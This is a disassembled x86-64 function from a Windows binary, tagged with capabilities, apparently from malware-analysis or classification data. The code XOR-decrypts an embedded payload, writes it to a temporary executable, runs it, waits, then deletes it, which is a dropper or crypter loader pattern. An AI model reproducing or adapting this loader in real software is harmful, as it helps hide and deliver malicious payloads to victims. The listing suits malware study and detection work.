Function at 0x1400016d0
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x230
lea rbp, [rsp + 0x80]
call sym.__main
mov qword [rbp + 0x1a8], 0
jmp 0x140001728
lea rdx, [0x140004020]
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movzx eax, byte [rax]
xor eax, 0xffffffaa
mov edx, eax
lea rcx, [0x140004020]
mov rax, qword [rbp + 0x1a8]
add rax, rcx
mov byte [rax], dl
add qword [rbp + 0x1a8], 1
cmp qword [rbp + 0x1a8], 0x7bfff
jbe 0x1400016f4
lea rax, [rbp + 0x60]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x197]
mov qword [rbp + 0x198], rax
nop
nop
lea rcx, [rbp + 0x197]
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x170]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x170]
lea r8, str.temp_executable.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x197]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1a0], rax
cmp qword [rbp + 0x1a0], 0xffffffffffffffff
jne 0x140001832
mov r9d, 0
lea r8, str.Error
lea rax, str.Failed_to_create_temporary_executable_file.
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov ebx, 1
jmp 0x14000194d
lea rdx, [rbp + 0x3c]
mov rax, qword [rbp + 0x1a0]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x7c000
lea rdx, [0x140004020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x1a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x40], 0x70
mov dword [rbp - 0x3c], 0x40
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x10], 1
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
sete al
test al, al
je 0x14000190b
mov r9d, 0
lea r8, str.Error
lea rax, str.Failed_to_execute_the_decrypted_executable.
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov ebx, 1
jmp 0x14000194d
mov rax, qword [rbp + 0x28]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov ebx, 0
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x1400019a9
add rsp, 0x230
pop rbx
pop rdi
pop rbp
ret